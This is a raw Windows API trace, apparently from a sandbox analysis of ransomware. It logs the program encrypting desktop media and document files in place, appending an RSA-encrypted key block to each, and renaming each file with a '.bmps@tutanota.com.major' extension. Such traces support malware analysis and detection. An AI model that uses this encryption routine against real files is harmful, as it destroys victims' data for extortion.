CloseHandle (hObject=0x5e4) returned 1 [0145.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.237] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\8 -Hgks5NIM-rbJKH6K.pps" (normalized: "c:\\users\\fd1hvy\\desktop\\8 -hgks5nim-rbjkh6k.pps"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\8 -Hgks5NIM-rbJKH6K.pps.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\8 -hgks5nim-rbjkh6k.pps.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0145.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0145.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0145.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0145.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0145.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.238] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.238] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\4m0NEGq.m4a", dwFileAttributes=0x80) returned 1 [0145.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0145.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0145.239] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0145.239] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\4m0NEGq.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\4m0negq.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.239] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=44080) returned 1 [0145.239] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xac30) returned 0x631898 [0145.239] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xac30) returned 0x63c4d0 [0145.239] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0xac30, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xac30, lpOverlapped=0x0) returned 1 [0145.240] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-44080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.240] WriteFile (in: hFile=0x5e4, lpBuffer=0x63c4d0*, nNumberOfBytesToWrite=0xac30, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63c4d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xac30, lpOverlapped=0x0) returned 1 [0145.240] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.240] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63c4d0 | out: hHeap=0x570000) returned 1 [0145.240] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xac30 [0145.240] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.240] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.240] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.240] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.241] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.241] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Raq4gsHlYld9rIka8hvxqMYnGae+pk6A10njd21HVK/EvlsVDheiu69UmnSYOwUk\nxsbFQWz9sjqYmEBD7d/m0IyX3sAJeLkFzBSxIpYtekclJ/fB/JWBefJZEBI9uVjY\ncFwlgIAsyR/mhPYISD2cQ5TU+u/ayDrrHjM1RYK7P1YIFtWZKEN6YE7T49H6G9DN\ni92uP9BnnthD+eeeglOsBfM4TmTScPrrp8XGTR2MJI7YhSSW6X6L1raeEmweiX/N\nOqptl1RwKKXQPMHvVtxTEM5FP84f2hy2V3RbbJ2abXevtv0VfZyReq1LGofAigAM\n6mgDJfYNslQRRxIb+LPfpw==\n", pcchString=0x2e3f9a8) returned 1 [0145.241] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.241] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.241] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.241] CloseHandle (hObject=0x5e4) returned 1 [0145.241] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.241] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\4m0NEGq.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\4m0negq.m4a"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\4m0NEGq.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\4m0negq.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.242] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.243] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.243] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0145.243] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0145.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0145.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.243] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.243] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\3KLok6JTsYbuFF-.png", dwFileAttributes=0x80) returned 1 [0145.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0145.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0145.243] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0145.243] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\3KLok6JTsYbuFF-.png" (normalized: "c:\\users\\fd1hvy\\desktop\\3klok6jtsybuff-.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.243] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=92840) returned 1 [0145.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16aa8) returned 0x631898 [0145.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16aa8) returned 0x648348 [0145.243] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x16aa8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x16aa8, lpOverlapped=0x0) returned 1 [0145.245] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-92840, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.245] WriteFile (in: hFile=0x5e4, lpBuffer=0x648348*, nNumberOfBytesToWrite=0x16aa8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x648348*, lpNumberOfBytesWritten=0x2e3f9b4*=0x16aa8, lpOverlapped=0x0) returned 1 [0145.245] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.246] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x648348 | out: hHeap=0x570000) returned 1 [0145.246] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x16aa8 [0145.246] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.246] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.246] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.246] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.247] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.247] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.247] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="NgvI2Bow0gL76ATj6yflV8/sPol4AtnjURXd5WJSsr+hpl2x+C7hw48jXE6mwlSk\n9+9cIdhwHtr+oz1+esEjLeshrspeDVS4Ts01mD2bWxUCWgQtOhrIAKldTloU7qc/\nIAaAseyo5xW0SNT+fl1WqvSt7LQhwO9akfdamzIj/QobWcn7cYFxv2i79+cqbw1Y\nWmh+Fjn/PkTj8WvwuIMOPGzBTEWSRi7PY/TcG99G3Uk+BwxJ7xltI16hAT3VU1sO\nu6aOBL0TAh6aKP8FsGiMBTs244/seG1jjSil+WeR2KZfTb52LZwRzdxnNrG+0yTO\nvECg9JVLAW1YnNwYESHXfA==\n", pcchString=0x2e3f9a8) returned 1 [0145.247] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.247] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.247] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.247] CloseHandle (hObject=0x5e4) returned 1 [0145.247] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.247] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\3KLok6JTsYbuFF-.png" (normalized: "c:\\users\\fd1hvy\\desktop\\3klok6jtsybuff-.png"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\3KLok6JTsYbuFF-.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\3klok6jtsybuff-.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0145.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0145.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0145.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.249] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.249] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\2TXcsTXc3n5rinGID1V.mp4", dwFileAttributes=0x80) returned 1 [0145.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0145.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e678 [0145.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0145.249] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\2TXcsTXc3n5rinGID1V.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\2txcstxc3n5ringid1v.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.249] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=27902) returned 1 [0145.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6cfe) returned 0x631898 [0145.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6cfe) returned 0x6385a0 [0145.249] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x6cfe, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x6cfe, lpOverlapped=0x0) returned 1 [0145.250] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-27902, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.250] WriteFile (in: hFile=0x5e4, lpBuffer=0x6385a0*, nNumberOfBytesToWrite=0x6cfe, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6385a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6cfe, lpOverlapped=0x0) returned 1 [0145.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6385a0 | out: hHeap=0x570000) returned 1 [0145.250] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6cfe [0145.251] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.251] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.251] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.251] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.251] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.251] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ePMXsN36UXI8OGF15Gczuq/yHZIurYvE2VfSX4ZIAQ1vLLBkLjWLRLMEJRimSxAS\neIP/7gv1pSSjZNzxnmC5muxmCO22yDljWiR1YFldWd925FYqPsyi6UPhHlLKZk7S\nYRysEGsVMeI29C8X+Uzo/TUIDZO4DlFLZGZ3nSmtd6r3SrOZDLjhw0PIYSrR74KC\nnpZBNOCG9bi7YmuduZn9lQ6dxYaYrCjd5FejF30h6zusYT1KCNWi3nk0bYnNLrGo\nGB0bc3V6ZCl0/0lcfkLdw8aozvuY7cxvr5/Lyrx2j9C6ot2EXtq4U5pQMuB2AXg/\ndpM4yBSDlicxjOsThkXqHg==\n", pcchString=0x2e3f9a8) returned 1 [0145.251] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.251] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.251] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.251] CloseHandle (hObject=0x5e4) returned 1 [0145.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.251] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\2TXcsTXc3n5rinGID1V.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\2txcstxc3n5ringid1v.mp4"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\2TXcsTXc3n5rinGID1V.mp4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\2txcstxc3n5ringid1v.mp4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0146.300] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e678 | out: hHeap=0x570000) returned 1 [0146.300] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0146.300] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0146.300] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0146.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0146.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0146.300] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0146.300] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\1w5DGI2.m4a", dwFileAttributes=0x80) returned 1 [0146.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0146.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0146.300] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0146.300] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\1w5DGI2.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\1w5dgi2.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0146.301] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6268) returned 1 [0146.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x187c) returned 0x631898 [0146.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x187c) returned 0x633120 [0146.301] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x187c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x187c, lpOverlapped=0x0) returned 1 [0146.302] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-6268, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.302] WriteFile (in: hFile=0x5e4, lpBuffer=0x633120*, nNumberOfBytesToWrite=0x187c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x633120*, lpNumberOfBytesWritten=0x2e3f9b4*=0x187c, lpOverlapped=0x0) returned 1 [0146.302] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0146.302] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x633120 | out: hHeap=0x570000) returned 1 [0146.302] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x187c [0146.302] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0146.302] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0146.302] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0146.302] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0146.302] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0146.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0146.303] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="J4Ie/2XKA2M8Lyh24IZIvpulJjk7qfEO0hSJFBagCMR1eQE6UzMDRF+gL6Ftstee\nxXKL2z+0p2AhRURLEKyTIsL/M8Sb9Pi6lN9s+r/7QB9M5D4wHcXnNeDUuO3PrLFY\naqBoGZhEkHgJxFkVlF0SDEKC7l4mvu3v0vfIILbcsV7SrH6igZoIpisWgr1taxHW\n6+/dJABg6K0j/o0UXg4OjX5k3Phgd/fPonz2pwOPOKfKinw5Ncpu8/r+d4JQfYLs\nznW/GimiyTFNsv1XjcYjTtGv5res6PHJFvIKDbUSjtPt8bDSa05IkKDyyglYeEUq\nrMlbNo0InTsFdBjex48rdA==\n", pcchString=0x2e3f9a8) returned 1 [0146.303] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0146.303] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0146.303] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0146.303] CloseHandle (hObject=0x5e4) returned 1 [0146.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0146.303] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\1w5DGI2.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\1w5dgi2.m4a"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\1w5DGI2.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\1w5dgi2.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0146.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0146.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0146.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0146.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0146.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0146.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0146.318] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0146.319] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\0tPMP3MycwcUXM.mkv", dwFileAttributes=0x80) returned 1 [0146.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0146.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0146.319] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: 